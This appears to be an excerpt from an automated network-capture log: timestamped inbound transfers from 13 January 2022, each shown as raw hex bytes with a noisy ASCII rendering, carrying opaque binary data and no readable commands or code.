d2 c0 b7 f4 41 94 11 c6 3f 88 37 da aa 51 64 97 8e 32 89 9f af b1 77 7b 4b ec dd da 8b 0d cf 37 a6 10 a5 f6 d6 f3 18 16 18 
82 9a e1 38 79 ef 49 a4 af 11 7b a1 24 81 5b ae 6c 50 8d d0 80 41 87 47 ba 0d a9 57 0d 0b 5c c4 03 32 2c 41 06 34 00 9d 
30 e9 0e d8 66 28 cc 35 55 0c 17 aa fd 53 40 a9 03 5f 51 42 16 30 01 14 4c 81 ec 6a ea 39 d4 43 19 b3 5e c3 d1 43 76 77 
ed d7 72 b7 d8 c6 c0 2c 86 cb ce 30 84 65 44 29 63 3a 16 0a 3b 96 8f 5b f6 dc 46 ef 04 4d 2c f5 6a 21 92 5f 8a 98 2a 87 6a
dd b7 81 3e 63 ff 6d 1e e2 96 f2 4e 2c eb f1 f8 c5 91 38 2e 52 1c e0 76 dc 00 52 e4 c0 09 f0 4a 82 2f 78 fd ce 32 55 06 91 
3d b0 83 31 70 01 04 4c 80 08 e4 80 fe 0c e4 c0 
Data Ascii: 51B&hAI51=tW}|EA?7Qd2w{K78yI{$[lPAGW\2,A40f(5US@_QB0Lj9C^Cvwr,0eD)c:;[FM,j!_*j>cmN,8.RvR
J/x2U=1pL

2022-01-13 21:05:20 UTC 244 IN Data Raw: 32 13 d4 f4 f5 7d d8 e7 8c 90 d1 0d 25 12 21 a8 83 22 9f 4b 8f 74 95 47 c1 63 38 6e c0 23 a0 20 3f f3 4e 62 60 
f0 23 11 a9 21 92 14 e3 98 02 1f ce b1 2a 3c 51 43 32 c6 5a bb 15 db b6 02 1d 8c 21 14 b6 40 0b 98 a0 09 3c d5 14 29 b4 
0f fc c0 20 ee b1 54 11 0d 11 04 81 30 b3 30 ea 4c 43 de 5e 35 20 27 ed 31 fe 51 cc 9a 96 72 5f c7 88 3c 7f 0f 46 f1 b4 21 
90 0f 69 e3 e8 6f f0 70 5f de a8 60 4f 73 c8 fc 34 5e 78 94 3e 98 95 10 3f e1 50 c6 ab ef fe 53 63 93 f4 63 29 35 bd 40 f6 
51 0a b4 29 76 33 5b 1d c5 24 4b 65 46 ee cc 41 21 34 54 95 53 39 92 45 16 41 63 f5 9c ee 59 82 b2 01 4b b4 44 db a0 
9a c0 53 45 8d f6 6d 04 86 3e 3f 8d 21 37 53 0e 33 62 46 d7 d3 0e 79 35 3b 48 b0 19 7b cf 3b 84 0c 25 8c c8 ee f0 d3 3e 
82 80 2c 09 f5 59 2b e6 ef 36 76 24 a1 14 a0 04 64 
Data Ascii: 2}%!"KtGc8n# ?Nb`#!*<QC2Z!@<) T00LC^5 '1Qr_<F!iop_`Os4^x>?PScc)5@Q)v3[$KeFA!4TS9EAcYKDSE
m>?!7S3bFy5;H{;%>,Y+6v$d

2022-01-13 21:05:20 UTC 248 IN Data Raw: 04 24 be 80 85 2c 60 21 08 55 80 01 0c 56 70 fe 17 34 41 55 27 fb 07 9a 57 e2 34 fe 32 1e b1 35 29 7c d5 97 
02 d9 f5 e4 24 ac ed 0c 44 59 8f 6c 5d 2c 57 10 f7 24 2b 38 32 3a c5 96 08 34 97 2b a3 37 5e c0 22 2c 2f 91 50 79 b5 7a 
e9 b5 12 91 55 7b 8d 65 66 27 11 5f 25 54 58 50 b3 74 47 51 15 17 58 1d 4e d7 65 5f a6 26 95 b5 15 ac 10 0a 9c e0 09 ec 
a6 82 5d b7 6e 2d c8 7c eb b6 82 ca 77 67 9e 10 0a 05 f7 09 9d 81 0a af d0 83 9c 81 0a 6f 77 09 1c 03 09 59 90 05 56 10 
04 43 50 77 2e c0 77 4d f0 02 2f 40 1a 50 18 72 58 21 5f 4e 83 03 f1 77 13 ff 10 2d 87 75 15 18 85 42 6a 52 42 31 70 02 
62 08 79 43 46 56 7f 60 79 34 32 1b fe f7 64 23 9a e7 64 c5 e6 79 08 41 33 3f 42 7a 04 c5 33 27 40 2c 4b 33 81 5a f6 51 
43 a7 5f 60 26 58 1f f1 14 ba 27 82 5b 22 10 d8 32 12 4f 
Data Ascii: $,`!UVp4AU'W425)|$DYl],W$+82:4+7^",/PyzU{ef'_%TXPtGQXNe_&]n-|wgowYVCPw.wM/@PrX!_Nw-uBjRB
1pbyCFV`y42d#dyA3?Bz3'@,K3ZQC_`&X'["2O

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:20 UTC 251 IN Data Raw: d1 e3 bf 8b 33 10 c6 b0 48 52 e2 0c 19 22 07 9e bc f8 d1 e5 4b 86 88 18 01 62 24 90 d0 cd 9b 35 ff 35 62 d4 33
51 a0 40 7b f6 b4 59 e3 c6 cd 9a a2 49 8f ae 61 c3 a6 0d 1a 28 4e 4e 38 99 21 15 e6 55 ac 59 0f a2 94 58 31 a4 56 b0 61 
c5 16 ac 8a 71 6b 4a ae 27 63 10 a4 31 31 46 ca b1 71 1d ce 64 84 48 20 20 42 fe 78 79 0a ec c9 28 10 a3 9f 7b de 18 25 
9c 14 e9 61 a4 7d a2 3a 91 3a 55 a5 5c c8 91 07 d6 20 49 71 eb 57 c9 99 35 27 c4 6c 50 2d d7 89 8f 41 92 34 b9 59 b3 4c 
9a 36 71 ca 14 c8 b3 2f 50 a1 44 09 17 46 cc f4 29 e3 13 55 4f 9c 30 dd 3b 6b 44 b8 97 5b fa 26 1e b9 33 d9 b6 25 d5 12 
64 39 b1 b8 5c 42 88 08 e9 bc 89 b7 27 5f 9f 80 13 09 9e 4d bb 36 1b c5 54 a5 8e 7f 5e 7e a3 c4 88 5e 87 9b 67 7f d5 22 
d5 91 a4 93 73 25 98 d2 ad e8 f6 57 11 21 02 64 f7 1f 
Data Ascii: 3HR"Kb$55b3Q@{YIa(NN8!UYX1VaqkJ'c11FqdH  Bxy({%a}::U\ IqW5'lP-A4YL6q/PDF)UO0;kD[&3%d9\B'
_M6T^~^g"s%W!d

2022-01-13 21:05:20 UTC 255 IN Data Raw: 3c ce a8 21 b2 a4 c9 93 0b 53 aa 5c c9 b2 a5 cb 97 30 63 ca 9c 49 b3 a6 cd 9b 38 73 ea dc c9 b3 a7 cf 9f 40 
71 fa 11 58 a8 d0 c1 87 0b 19 1d 35 a8 14 11 a2 40 81 f6 60 6c e3 c6 0d 9b 37 57 d9 9c f1 48 e3 06 8d 18 33 bc de 20 79 
b2 ac c7 a0 68 d3 aa 5d cb b6 ad db b7 70 e3 da 1c 5a b4 68 42 42 0b 1d 32 55 1a 28 51 9f 37 58 2f ba 79 e3 46 23 56 34 
37 3e 86 1c 19 d6 ac 63 b9 90 23 4b 9e 4c b9 b2 65 b8 02 01 15 3d 8a 30 af d2 86 4a 13 89 0e 04 18 f0 e0 c1 58 d9 68 9d 
11 c3 09 0d 92 5d 67 e0 70 6c f6 b2 ed db b8 73 eb de fd 73 28 41 a3 09 15 32 d4 8b d0 60 a0 bf 58 4f 9f 06 cc 06 71 58 
90 1e 49 26 a6 8d 92 b7 f5 eb d8 b3 6b 77 3b 54 b3 51 ce 79 09 fe 3d 62 7a 34 51 5f c0 82 09 0f 56 bd 5a f6 6b 91 b3 c9 
52 17 b9 bd be fd fb f8 f1 0b fc fd b0 f3 70 87 9f 11 12 
Data Ascii: <!S\0cI8s@qX5@`l7WH3 yh]pZhBB2U(Q7X/yF#V47>c#KLe=0JXh]gplss(A2`XOqXI&kw;TQy=bz4Q_VZkRp

2022-01-13 21:05:20 UTC 260 IN Data Raw: 70 cb aa f1 23 ad f6 52 ad f6 65 ab a5 db 9e a1 63 a9 26 7c 79 2e f1 c4 d3 19 c0 7d 1b ca 1b 09 ae dd bc a7 a7 
bc c0 27 71 02 39 c0 03 72 60 07 52 80 02 26 60 ce 34 f0 02 22 fd 02 28 40 d2 22 5d d2 1e fd fe 02 26 90 03 28 20 03 1f 
4d cb f3 3c 47 db f6 32 00 4a d3 fd e8 cd 32 f1 9b 88 0a 8a ff ac c6 1e 1b 79 1f fc 7e 4e 7a c3 23 6c b2 a7 12 03 28 5b cd 
de fa 0f 31 7a c7 2e bc cd ff 30 24 13 ed a9 7e 8c c8 5c 71 02 26 60 02 4d 60 07 83 60 07 24 60 02 21 e0 d1 24 80 02 2b 
f0 02 2b b0 02 24 d0 04 26 fd 02 2d 80 02 6d fd d6 28 40 03 1f dd 75 17 53 34 db 36 1d f7 3c b1 fa f3 60 f2 3c cf 36 6d 84 
18 cb 84 e2 f9 89 68 83 3c d5 8a 48 04 ad 80 45 12 cd 4c 5c b5 9d cc 93 05 ec ba d7 5b b8 c1 fa ad 31 3a d5 3e 1a 14 0a 
5c 44 ea 9c 02 5b 9d 09 87 50 07 53 30 05 4d c0 
Data Ascii: p#Rec&|y.}'q9r`R&`4"(@"]&( M<G2J2y~Nz#l([1z.0$~\q&`M``$`!$++$&-m(@uS46<`<6mh<HEL\[1:>\D[PS0M

2022-01-13 21:05:20 UTC 264 IN Data Raw: 3e c8 fc ce f0 0c 4f c8 04 cf f1 74 44 c7 44 47 13 d3 4c 6a 58 06 50 00 cd 21 d0 c7 1e c8 01 2c db a3 63 c1 9c 
42 00 24 cf 61 84 7a 5a 19 67 bb c5 d6 04 0e 94 30 12 0d fa 39 99 68 12 88 24 c0 ab 4b cb 36 d4 4d eb 28 c6 f1 20 49 a1 
80 c0 18 41 08 bd 6c c9 73 1b b4 0a 5d 91 d5 90 3d 3f 44 96 50 d2 99 95 e4 4b 02 6b 0e 2e 9b ce 38 38 05 54 38 cc 6f 54 
c1 9e 3c 3b ee ec ce f2 d4 49 f1 5c bb 19 a5 d1 1a ed ce f1 d4 4e 4e 63 07 f6 4c 85 48 c8 82 21 80 01 17 d0 81 10 81 3c fa
03 c8 d9 d8 1c 44 18 c8 87 68 b6 09 da bf 84 9c fe 99 01 2d 0e 31 7c 16 bd 9a a4 06 d3 9d 06 0d 1a e0 f1 2f b7 fc 4d 3d 
cb 3d 06 7b 11 c0 bc 9d 32 fd 07 8f 09 0d 12 ba d0 78 f3 48 bf 14 51 d6 08 cc 12 b5 01 ea 24 05 e4 c3 4e b6 b3 49 18 cd 
d1 1c 55 08 17 b4 d1 1a dd c9 41 65 4c 85 90 c1 7a 
Data Ascii: >OtDDGLjXP!,cB$azZg09h$K6M( IAls]=?DPKk.88T8oT<;I\NNcLH!<Dh-1|/M=={2xHQ$NIUAeLz

2022-01-13 21:05:20 UTC 268 IN Data Raw: a0 05 26 28 81 04 2a b0 05 27 43 59 3d fe ad 07 3b 98 c1 89 4c 6c a1 0a 3e fe 6d 02 19 ca 80 0c 65 f4 a3 bd 
60 14 e3 18 a7 c1 0c 4d 0c 78 02 28 00 5c e0 6a 8c ab 44 20 b5 9b 99 22 04 52 17 04 91 3b ee 21 2d 67 b8 70 9d e3 82 
67 0d eb 96 51 7d be e6 9f 01 3d e2 10 f5 e5 ab 84 fe 51 0d 6e d5 14 82 0a a6 c4 fb 24 9d 8b 8b 75 d6 61 a9 2e d2 3d 2b 
d5 7e f0 c3 2c 55 a4 a2 98 d5 38 48 d2 82 53 51 2b 0d 59 97 46 b6 42 06 52 60 6a 0e 30 f9 0b d2 78 f2 7a b0 f4 ea 78 74 
83 15 9a f8 82 16 9a a0 3c 2d e8 5a 19 f4 40 66 32 d9 e3 10 7b f0 43 cc d0 a4 00 09 10 75 60 0e 57 12 11 dc 6c f3 37 a1 
4d 96 d7 8e 85 10 7b 08 c4 1b c8 49 e7 b7 18 30 2f 1e 7b 2e 69 0c 8a 14 6f 57 32 dc 21 46 d1 e7 7a 3b 38 15 2d fa 74 c8 
35 ae a1 69 6c 41 d2 c8 40 58 1e be f1 d5 25 4d 5d a3 90 20 
Data Ascii: &(*'CY=;Ll>me`Mx(\jD "R;!-gpgQ}=Qn$ua.=+~,U8HSQ+YFBR`j0xzxt<-Z@f2{Cu`Wl7M{I0/{.ioW2!Fz;8-
t5ilA@X%M] 

2022-01-13 21:05:20 UTC 272 IN Data Raw: 94 53 ab d0 59 38 21 a2 cd 04 29 4e 01 f4 13 62 bc d5 e7 50 a5 4c 84 74 a9 16 cd 05 ee 5c 19 6b 62 d1 5c 9e 
da ed 4d a0 9b 9e 7a 2a 2a 66 58 a9 44 8b 2a a4 93 ee d3 93 64 d3 0f 3b ec fa 25 64 c8 7f 93 0c 44 d5 b9 ee 6a 95 8d bd 
a0 14 e9 3d b5 07 db b8 61 94 34 3a f9 64 8a e9 ce ac ed 60 4b d6 f8 c0 bc 13 ec 7b 21 3a 15 b2 af cd 60 0b aa 61 c2 d5 
d0 74 4d c1 38 ab 7b 88 86 7a 1f ff 50 15 55 fe 80 19 74 67 df c0 35 6e dc 17 c5 2d 11 69 a2 41 17 ae 5d 77 2f 85 b7 8a 
26 a0 43 41 84 7a 37 84 78 b1 20 cf 2a 4b 2d ee 4e 65 04 11 81 12 09 a4 3c be 78 4f 6f 2f f6 36 ee 6a e1 b6 1b 7e 18 e2 
b9 eb 4e de 3f c2 c4 24 28 e3 c8 0a 0c 79 b4 e9 a5 3f 09 58 66 09 2f e8 a4 97 a5 0d 55 e4 c2 e0 a6 a1 85 99 4f 09 31 15 
9c 7d 0e 2a 51 f5 97 76 71 f3 14 d7 8d bf 28 a2 6a 2c 07 
Data Ascii: SY8!)NbPLt\kb\Mz**fXD*d;%dDj=a4:d`K{!:`atM8{zPUtg5n-iA]w/&CAz7x *K-Ne<xOo/6j~N?$(y?Xf/UO1}*Qvq(j,

2022-01-13 21:05:20 UTC 276 IN Data Raw: f2 c8 c9 9f 9c bf 8b fa bf f3 98 2c aa 3c 55 10 e1 2d 66 33 9d d9 19 c1 85 17 aa ef 29 aa a9 fa 61 04 d1 cc f5 a6 
8d 9c f7 32 2c 5c c3 5f 0b 47 3b 86 f8 78 34 1f 17 0a 7b c9 1c b6 ec 7c c4 69 40 0a e4 c0 0e ec c0 0a b0 c0 0a 08 9b 08 
bc 9b 02 0e 5b 05 7e 3c 05 44 20 a5 59 7a 7c 52 fa 05 da 98 db f5 76 7f 1a 8d 43 e8 a5 7f 24 a4 3e 6c da a6 9f 1c 63 42 
63 be 2f 9b 8c 10 47 71 20 63 50 23 8d 6a 4b 9d 10 94 fa d4 db 4b cb 5b 1b 37 a3 64 2a 89 47 84 2d e8 6e 69 dd 6e 50 
b8 cc b9 6a 6f 30 5c 4d da 7c 91 1d 27 4e c4 ac 11 e9 3c 21 8a fd ce a3 40 0a a4 60 0a 9a a0 0a 58 a0 74 17 3b 05 82 2e 
05 08 50 04 4a a0 a7 05 89 a5 1f 9b 36 a0 2f e5 01 92 2b f8 c4 42 1b be c9 9a 3c 94 c1 64 ca 18 42 dd 63 7e dd 3f 9d 91 
fe 29 f8 8e 4d bb 10 04 5c 2d e0 e2 2d ee 4d 9d 0b e6 
Data Ascii: ,<U-f3)a2,\_G;x4{|i@[~<D Yz|RvC$>lcBc/Gq cP#jKK[7d*G-ninPjo0\M|'N<!@`Xt;.PJ6/+B<dBc~?)M\--M

2022-01-13 21:05:20 UTC 280 IN Data Raw: 92 56 b0 f4 a9 b5 b3 2a 1c 27 71 86 74 8b b8 48 53 17 78 21 29 65 db 11 22 82 71 00 5b 93 2e 2b 60 bf b6 74 
9f 9a ac a1 9a b0 18 99 b8 9d 1b 33 ce 01 1d 28 44 b6 95 92 36 8f 2b 30 81 c0 ae 2b 3b a8 76 17 91 31 38 55 f3 7a 8b 66 
69 b4 9e 4b bb 36 22 65 a0 5b 6b 79 fe d1 3f ef 04 22 a1 a3 65 fe f7 5c a5 27 43 ab 13 8a 34 5b bb c7 8b bc cd a1 2c 11 
27 65 fe 42 1d 13 97 33 d3 f3 bb 5b 46 40 f0 96 3a 30 9b b5 5e 99 bc db 4b bb 25 25 1d 11 47 5c 54 b4 42 8c 80 33 87 11 
08 07 f3 68 d3 e2 65 ae 7a bd a1 98 bd 8a ca bd f1 5b bb 52 36 89 a0 9b 68 28 c6 4b d9 21 93 00 8b 8e 2e 36 b4 60 e4 16 
1b 09 92 99 2b bf 05 8c b8 e9 74 bb e0 0b bd e3 cb 7c 68 9b 30 00 66 bd 69 d5 b6 c6 6b c0 15 bc b4 52 96 79 b7 6b 5f d0 
53 ba bd ab 5c a1 99 be fd 4b 8c 34 15 34 f1 56 7d dd 68 
Data Ascii: V*'qtHSx!)e"q[.+`t3(D6+0+;v18UzfiK6"e[ky?"e\'C4[,'eB3[F@:0^K%%G\TB3hez[R6h(K!.6`+t|h0fikRyk_S\K44V}h

2022-01-13 21:05:20 UTC 283 IN Data Raw: 3e a1 6e a6 5e 9d 52 5b 0c d9 27 15 d3 bc 6e 51 dd 5c 69 5d 79 68 25 87 ba 0a 3b b6 89 69 ef 6c 56 cb af 20 
71 a1 31 40 a3 63 d8 64 1b c3 12 76 ac 64 05 4f f0 3c fa 4c 5c 3d a2 63 cf 04 84 64 49 ba 3e e8 1c 2b 72 5c 5c d1 ff 64 17 
55 a9 06 28 af 64 74 95 0d 70 a3 1f fc dd ad 22 1d 32 d8 42 71 56 d8 fb 55 55 a7 38 5b 2c 63 bd f3 3d 6c b1 f5 63 c5 c9 08
15 fb 70 59 6c 86 a9 7d 68 12 d2 40 3b f9 b2 84 dd 20 7b d5 a2 88 12 a7 e7 4e 8e fc 0f b5 12 09 ac 73 e1 38 3b 76 f2 d5 
92 b5 b5 6d 77 08 11 38 02 0e 0d 11 09 d2 88 4e 8e 36 c8 62 0d c6 47 c9 5a a4 7e b4 f6 57 48 31 b4 5a fc 79 e9 4e 6b 39 
37 33 3e d4 98 d9 69 16 75 cd b8 11 88 9e 51 a2 b4 eb 6e 8a f2 18 38 46 64 ab 4f 84 43 25 da 56 89 5e 93 99 d4 86 71 23 
fe 92 ab ec 0a 40 78 c1 8c 06 5a e3 5f 10 f9 37 bd 
Data Ascii: >n^R['nQ\i]yh%;ilV q1@cdvdO<L\=cdI>+r\\dU(dtp"2BqVUU8[,c=lcpYl}h@; {Ns8;vmw8N6bGZ~WH1ZyN
k973>iuQn8FdOC%V^q#@xZ_7

2022-01-13 21:05:20 UTC 287 IN Data Raw: 0a 6d 1b 14 9e 22 29 13 22 c4 47 40 94 4b 37 d5 5f b7 d5 5c 83 b5 a3 54 d8 a8 1c 27 9f 6c da a1 e3 6a 9f 94 
ea 36 01 05 6f e9 48 a2 f0 6a 6c 10 49 89 6d 8a ac ea aa a5 7e 6a 13 66 61 43 35 f0 49 83 c4 74 c9 71 40 11 75 11 17 27 
af f7 da ad 24 b1 49 60 04 43 13 83 fe 65 86 83 54 28 87 5b 01 e6 9e 03 8b a6 05 fb 0f 40 3a a3 35 d1 95 39 b8 ab 6f 7a 9f 
bf 1a a0 98 fa ae c9 5a a9 0f 19 50 91 9a ae 45 99 b1 3b bb a8 1c bb 53 b5 d8 21 0d 0b 69 ca 43 03 de 64 b5 93 e8 86 27 
80 b5 58 ab b5 2e 2a aa 20 c1 48 d3 1a 44 41 24 3d aa a2 51 ff 7a 6e 01 2b b0 e0 c2 ad 28 18 9f ff a0 9a 41 a9 82 6e 8a 
b1 0b 5b 43 14 3b 98 f1 68 b1 bc 98 98 10 18 03 9a a5 b4 55 49 b0 4d db 92 52 99 25 2b 93 11 a8 25 98 66 b1 66 f6 13 6f 
8f 74 b4 70 f7 a2 28 28 4c ac a7 af 0d 0a 43 03 77 31 
Data Ascii: m")"G@K7_\T'lj6oHjlIm~jfaC5Itq@u'$I`CeT([@:59ozZPE;S!iCd'X.* HDA$=Qzn+(An[C;hUIMR%+%ffotp((LCw1

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:20 UTC 292 IN Data Raw: e3 33 a4 71 b0 e0 e9 b0 08 b7 0b a4 0a 55 6c bd 7c be ea 70 e2 57 0d 42 bc 62 66 03 c8 06 90 6d 8b 50 db 06 
76 39 b9 c7 bc 9c d2 27 dc cf 6e 76 f5 3e d1 db 57 65 74 fe 5b 7e 0f dc 07 c1 ee f0 fe bd df e3 30 d9 39 30 9a 58 35 8d 82 
9a 40 68 03 7e 43 3c df 41 b3 a3 43 3a 85 93 be e9 23 90 5c 33 38 09 fc 87 06 69 94 41 5b 1b cd bb 0a 3d eb 08 9a 02 bd 
ee b3 2e c1 78 14 96 32 9b 20 0a 2c b1 cb 88 8f 23 83 b2 93 1f da 23 a5 fc aa 3f 8c 89 aa d7 3b 15 d2 42 25 97 c3 8c 7d 
b0 87 fe 5b 81 de c3 b2 bd 83 37 72 79 a0 8b 92 9d df 7a 1a a1 c8 b7 a0 13 40 df 11 42 95 08 38 35 93 bc 09 b4 fe 8f ac 
81 29 a7 e3 0f 0c 1c 3f cc 62 2c 0f b4 0a b0 c1 ae 44 1a 41 49 c1 8b 43 69 8b b5 20 bd 15 dc a4 10 b8 36 f8 ab 0c d6 93 
41 50 61 2f b7 73 bd b4 23 37 f9 c3 34 fe db 84 20 20 
Data Ascii: 3qUl|pWBbfmPv9'nv>Wet[~090X5@h~C<AC:#\38iA[=.x2 ,##?;B%}[7ryz@B85)?b,DAICi 6APa/s#74  

2022-01-13 21:05:20 UTC 296 IN Data Raw: ba 0a 58 1a b1 15 c0 ae 28 3a 4f 95 40 59 57 42 5d f3 1c d8 14 2d 41 70 82 f5 58 87 31 ac 00 81 7f b0 4b 02 
0e 20 c1 0a b0 00 09 68 20 fe af 1d eb 20 87 35 a2 e1 0c 30 54 a1 85 2b 60 4b 04 82 f0 8c af d9 10 87 9e 2c 4b 7e a0 47 
86 2a f0 85 7a 9e 29 8c bf dc 46 c4 c4 28 d1 60 04 e3 10 c2 14 91 08 45 0c a2 0d 7c 6b 5b f9 70 89 3e c0 ad 68 66 72 c4 
22 c6 0c b2 b8 f8 bd 46 8e d9 1b 59 0c ee 57 c6 61 cd 4a 22 9a 93 01 a8 52 62 46 1d a1 d1 20 31 2b 20 16 91 65 3a a1 8c 
05 50 cc 6b 20 a0 7a 67 0f 0a 7a 43 0c 4b a8 02 0b 44 c0 ad 10 ac 00 06 30 d0 02 24 28 71 89 4b 48 c2 0e 76 c8 02 0b 26 
b0 82 14 ac 60 05 57 d0 02 25 be f1 ba 4e 66 a9 3c 12 cc cf a0 c0 51 86 0c 90 c0 41 7e 11 cd c3 0c 93 3d 9e cc ad 31 48 
a4 0c dd 1a b1 08 c5 08 22 61 74 78 a2 df 4c 74 22 9b 50 
Data Ascii: X(:O@YWB]-ApX1K h  50T+`K,K~G*z)F(`E|k[p>hfr"FYWaJ"RbF 1+ e:Pk zgzCKD0$(qKHv&`W%Nf<QA~=1
H"atxLt"P

2022-01-13 21:05:20 UTC 300 IN Data Raw: 08 b8 80 d4 7f 7a 99 78 80 0c e4 80 0d 80 b2 0e ec 8a 0e d0 40 0e d0 c0 c2 a3 f7 f3 b2 1a 49 15 1e 75 ac cc af 
a4 04 95 6b 99 50 4b ad ab 2b 42 93 3b 2c 1a 67 fc 06 ae a5 c3 b3 3a c8 77 ad cc 00 f4 e8 da b1 00 e9 08 b1 2f e7 90 59 
d9 93 1a 5c 44 8f 51 eb dd cf cb 6b ec 15 0d 59 76 78 00 07 70 80 14 90 c2 36 84 83 fd db 3f 39 dc 3f 34 48 43 2d b0 02 
26 78 02 40 78 aa d4 c5 4a c1 82 5d bc 58 11 02 02 04 04 08 0c 19 fa f0 d1 82 a2 8f 1c 3e 7a c8 d0 48 fe 63 e3 0c 1a 36 
68 70 a4 11 e3 44 c8 18 33 66 d4 40 b9 f2 c6 8d 95 2f 4f c6 88 89 f2 a4 0c 94 2a 5f ce f8 b7 93 67 cf 9d 8d 14 01 0d aa 88 
68 51 a2 42 15 ed 54 04 a8 8d 93 13 27 9c 3e 3d 31 03 6a ce 9c 2e 53 be f4 c9 53 eb 56 af 5f c1 86 15 3b 76 46 0c 1a 3a 
bd 76 1d bb 53 ad cf ae 59 67 c8 30 6b b6 2c 0d b6 
Data Ascii: zx@IukPK+B;,g:w/Y\DQkYvxp6?9?4HC-&x@xJ]X>zHc6hpD3f@/O*_ghQBT'>=1j.SSV_;vF:vSYg0k,

2022-01-13 21:05:20 UTC 304 IN Data Raw: 03 a3 fe f2 3d f4 97 2d 20 f7 30 07 c4 6e bb 98 91 e9 ad 17 05 59 90 6b 74 70 a1 82 38 51 37 33 df 90 7d ff 77 
ae aa d5 2d 5e cb 3a 11 63 7a 1f 84 44 9f 33 7f 7b 97 2f 60 79 71 4c d4 93 c1 57 72 0c 95 4b 27 a8 90 83 91 66 15 4f 79 
a5 6f 91 bf 97 95 8b 05 34 fd 73 73 b1 d8 bc ee 78 34 2d f9 96 d1 62 4d 0e 43 75 38 d9 8f 79 f9 d9 10 06 8c 9d 08 ce 46 f9
8c 81 86 62 2c 70 60 05 f4 77 53 e8 99 d1 c3 39 f7 d1 86 a7 45 56 12 ad 6e 2e d9 aa e4 2b 27 e8 b7 73 b7 b9 0d 83 37 90 
2f 4d 98 6f 94 c1 86 2c cf 12 37 99 5d 77 68 26 cc 2f 5e 66 93 71 f7 bc f6 8b c5 f2 78 76 a1 b6 26 90 72 97 f3 d9 fe 80 b9 
72 ac 07 9c 81 42 9c 07 e7 94 e5 cd 58 1a 16 4f 09 9a 71 ff b5 d0 60 57 60 90 aa 7e 19 a4 5f d4 50 83 dd f9 54 f9 92 a2 
2b 3a fd 02 6f 28 78 32 a3 df 49 a5 fc b9 d3 2e 
Data Ascii: =- 0nYktp8Q73}w-^:czD3{/`yqLWrK'fOyo4ssx4-bMCu8yFb,p`wS9EVn.+'s7/Mo,7]wh&/^fqxv&rrBXOq`W
`~_PT+:o(x2I.

2022-01-13 21:05:20 UTC 308 IN Data Raw: 98 f3 60 c2 85 41 1f 3a 89 38 a3 a8 51 a7 18 41 72 8c 91 b5 ad db b7 70 e3 ca 9d 8b b5 20 a2 42 3a 79 ee e9 
d9 b0 2c d1 87 11 cd 9a 45 fa 50 e4 0c 19 85 e9 2a 5e cc b8 b1 e3 c7 33 b7 32 ea 8a 50 e1 9b b0 44 c9 9e 15 4b d8 a9 da 
8e 32 20 8b 1e 4d ba b4 e9 ab 3a 05 e1 dd 09 28 10 1e d7 6c 1c fe 2d 2a 18 a3 58 cf 1f 67 74 c4 7d ba b7 ef df c0 7b 6f cd 
b9 15 e1 1e d7 61 fd 8a d5 7c f4 62 d2 90 34 3a b2 0d 4e bd ba f5 eb 59 1b 29 c2 99 37 91 eb 44 97 01 fe 3f 81 38 d1 6c 
59 a7 83 43 82 e6 8d bd bd fb f7 f0 47 0e e7 0a 08 51 a0 40 89 fe b0 91 38 f6 76 f9 e7 69 e5 a6 1b 7b f1 15 68 e0 81 be a5
36 d9 4e f6 79 17 08 1a 80 39 24 db 66 68 9d a7 14 53 04 22 a8 e1 86 1c ca 35 9f 41 88 fc 21 62 22 fb 9d 00 91 66 b4 35 
17 a0 46 6b 75 e8 e2 8b 30 5a d5 88 20 8c ac 36 10 
Data Ascii: `A:8QArp B:y,EP*^32PDK2 M:(l-*Xgt}{oa|b4:NY)7D?8lYCGQ@8vi{h6Ny9$fhS"5A!b"f5Fku0Z 6

2022-01-13 21:05:20 UTC 312 IN Data Raw: 59 a0 fe 05 55 50 05 2c 00 04 2c 50 05 4d c0 d2 41 c0 02 34 bd 02 15 b0 02 cf 7c d3 4a 20 01 4d 20 01 2b c0 
d3 3e ed d3 24 50 cd 26 c0 c9 bc 88 18 23 69 86 87 b7 b4 c7 d2 41 ff 00 ca 4b 0a 7f 0d c4 7b 44 dc 7b 11 3c a7 2a 66 a9 
da ea 98 66 97 1b d9 f7 bd 25 0c 12 5a 3a 7b b5 78 86 4e 9a 96 3b bb be 09 f3 d0 51 1b 03 21 60 07 b4 30 0e f1 20 0f f2 
50 0f f1 30 0f ec 50 0e d7 40 0d d6 d0 0c c6 c0 0a a1 a0 09 64 40 06 cb b0 0c a0 a0 09 82 1d d2 56 d0 05 56 b0 04 8d 6d 
05 c8 9c 01 15 50 01 16 00 01 94 1d 01 93 9d d9 14 50 01 14 c0 02 13 90 02 2c 8c 02 9c 2c c0 de 79 b4 34 60 02 bd 46 
b9 ad f2 d4 79 f9 87 5d 2b ab 12 71 7d 5d d8 b9 4f e6 a0 a7 97 c5 ce a8 6d b4 97 87 03 7d b0 b4 88 b3 15 76 86 66 7c bd 
68 7c 3b fc 0b b5 6e 2d 07 d9 30 0e 75 6d 0f ce ed dc f5 50 
Data Ascii: YUP,,PMA4|J M +>$P&#iAK{D{<*ff%Z:{xN;Q!`0 P0P@d@VVmPP,,y4`Fy]+q}]Om}vf|h|;n-0umP

2022-01-13 21:05:20 UTC 315 IN Data Raw: ac 01 4e 6b db e1 8b 2e 68 20 03 10 80 00 05 7e 40 6f 56 84 23 1c e3 18 07 39 c2 21 8d 32 b0 7a 03 15 90 f2 
12 64 fd 0d 7b 88 b9 e0 02 4a f7 ae 5d d0 6b 43 26 97 71 7c 95 de b0 41 48 4c 95 98 32 52 28 0f 16 3d 7d 9c c6 8e c7 7c 
73 f8 09 1b d8 7a 44 ce b9 03 93 31 8a f9 76 b6 59 ce d9 c8 c2 ef 59 31 1f ec e8 1e 82 a4 ae 04 d9 b4 0a 3c 48 ae ad 08 
9c 7c d4 63 1d cc 08 03 96 25 20 01 0b 04 c1 0a 95 88 c6 5a e5 11 8f cd bb a3 1d da 20 83 15 96 20 00 7f 2b fe 41 03 5d 
38 86 3c 06 94 c0 8a 66 92 44 77 05 09 bf 00 b3 38 a4 b9 39 2d b8 7b 2e 48 ea fc 1e 6b 93 86 50 7a 4e 1b b3 51 2c 4f a9 
b6 70 a9 a2 3b 89 dd af fd 6c 1e c1 f0 86 2f a9 91 79 61 de e7 d7 57 1b c8 97 8e 90 a6 9b 52 21 76 18 23 f2 4a b0 40 05 
24 50 81 2a 78 82 1c f2 18 69 3d ea 91 7e 79 b4 a3 1c ac 
